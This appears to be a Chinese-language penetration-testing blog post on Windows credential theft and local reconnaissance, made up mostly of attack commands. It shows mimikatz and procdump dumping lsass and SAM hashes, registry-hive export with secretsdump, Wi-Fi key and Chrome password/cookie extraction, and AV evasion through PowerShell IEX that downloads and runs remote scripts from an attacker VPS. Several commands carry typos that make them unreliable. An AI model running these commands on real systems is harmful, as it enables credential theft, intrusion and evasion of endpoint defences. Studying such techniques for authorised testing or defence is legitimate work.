内网渗透——信息收集—凭证信息获取&&本地历史信息获取

文章发布时间:

最后更新时间:

内网信息收集二

凭证信息收集

  • 密码哈希

    哈希类型分为两种:

    • LM型
    • NTLM型

    下面是windows不同版本所使用的哈希类型

    image-20220928152057449

    对于2003之前版本,密码位数大于14位时使用NTLM型;后续版本均默认使用NTLM型哈希值

  • 主流密码抓取凭证工具

    1. mimikatz

      从内存当中抓取当前登录用户的密码及其哈希值

      常用本地非交互式凭证获取。实际场景由于是上传一个mimikatz,很多shell并不支持交互式使用,因此常用非交互式获取凭证

      1
      2
      3
      mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

      mimikatz.exe "log res.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
      • log res.txt 将日志记录到res.txt中
      • privilege::debug 通过debug模式提权
      • token::elevate 获取高权限token,从而获取权限
      • ::查看模块及包含功能的信息
      • lsadump::sam 从sam文件中解析账户哈希值
      • sekurlsa::logonpasswords 获取账户密码的明文值,获取不到的话回显null

      对于低版本1.x的mimikatz,使用方式如下

      1
      2
      3
      privilege::debug // 提权
      inject::process lsass.exe sekurlsa.dll // 注入sekurlsa.dll 到 lsass.exe进程 lsass.exe在系统启动后会记录密码信息
      @getLogonPasswords获取密码

      免杀操作

      https://www.freebuf.com/articles/system/234365.html

      绕过查杀的方式之一:Powershell远程加载mimikatz脚本

      可以针对关键字进行混淆

      image-20230103234333919

      IEX会将对象加载进内存中并执行后面的函数

      1
      powershell.exe IEX (New-Object-Net WebClient).DownloadString("url"); Invoke-Mimikatz-DumpCreds
    2. wce

      适用于win7低版本操作系统

      1
      2
      -w 获取明文密码
      -l 获取当前在线用户NTLM哈希值
    3. Pwddump7

      1
      pwddump7.exe > res.txt

      获取当前系统各个密码的哈希值

      解密利用彩虹表 https://www.objectif-securite.ch/ophcrack

    4. Ophcrack

      配合彩虹表自己破解

      工具下载:https://ophcrack.sourceforge.io/

      彩虹表:

      1
      2
      https://ophcrack.sourceforge.io/tables.php
      http://project-rainbowcrack.com/table.htm
    5. Procdump+Mimikatz

      Procdump的作用主要是免杀,现在可以用的是SharpDump(C#写的不太会编译…)

      会将当前系统进程当中的哈希保存到bin文件,改成zip文件并解压

      主要流程就是 将lsass进程导出,形成转储文件

      1
      2
      32位操作系统: processdump.exe -accepteula -ma lsass.exe lsass.dmp
      64位操作系统: processdump.exe -ma lsass.exe lsass,dmp

      然后再使用之前Mimikatz的模块提取明文密码

      1
      2
      sekursa::mimidump lsass.dmp
      sekursa::logonPasswords full
    6. 注册表导出

      1
      2
      3
      reg save HKLM\SYSTEM system.hiv
      reg save HKLM\SAM sam.hiv
      reg save HKLM\SECURITY security security.hiv

      获取注册表中的SAM信息、用户登录密码哈希信息并导出为文件

      再利用下面的方式进行明文获取

      1
      2
      3
      mimikatz.exe "lsadump::sam /system.hiv /sam:sam.hiv"  exit

      python secretsdump.py -sam -sam.hiv -security security.hiv -system system.hiv LOCAL

      https://github.com/AlessandroZ/LaZagne 多种恢复本地信息密码的工具

    本地信息收集

    1. IE浏览器代理信息查看

      1
      reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Setting"
    2. Windows Wifi密码获取

      1
      netsh wlan show profile name="wifiName" key=clear
    3. Windows hosts config

      1
      type C:\Windows\System32\drivers\etc\hosts
    4. Windows IIS config

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      IIS6: 
      cscript.exe C:\Inetpub\AdminScripts\adsuitil
      .vbs ENUM W3SVC/1/root

      IIS7/8:
      列出网站列表: %systemroot%/system32/inetsrv/appcmd.exe list site
      列出网站物理路径: %systemroot%\system32\inetsrv\appcmd.cxe list vdir

      Mimikatz读取IIS7配置文件密码:
      mimikatz.exe privilege::debug log "iis::apphost/in"%systemroot%\system32\inetsrv\config\applicationHost config" /live" exit
    5. Windows回收站信息获取

      回收站路径为C:\$Recycle.Bin,不同用户对应不同的回收站,需要遍历一下用户id值来找各自删除的文件

      1
      FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid')do dir /a/b
    6. Chrome的密码和cookie获取

      1
      2
      3
      4
      5
      6
      7
      8
      %localappdata%\google\chrom\USERDA~1\dedault\LOGIND~1
      %localappdata%\google\chrom\USERDA~1\dedault\cookies

      chrom用户信息保存在本地为sqlite数据库格式

      mimikatz.exe privilege::debug log "dpapi::chrom/in:%localappdata%\google\chrom\USERDA~1\default\cookies /unprotect" exit

      mimikatz.exe privilege::debug log "dpapi::chrom/in:%localappdata%\google\chrom\USERDA~1\default\LOGIND~1" exit
    7. Powershell

      1
      powershell.exe IEX(new-object net.webclient).downloadstring('http://vps:port/GEt-Information.ps1');Get-Information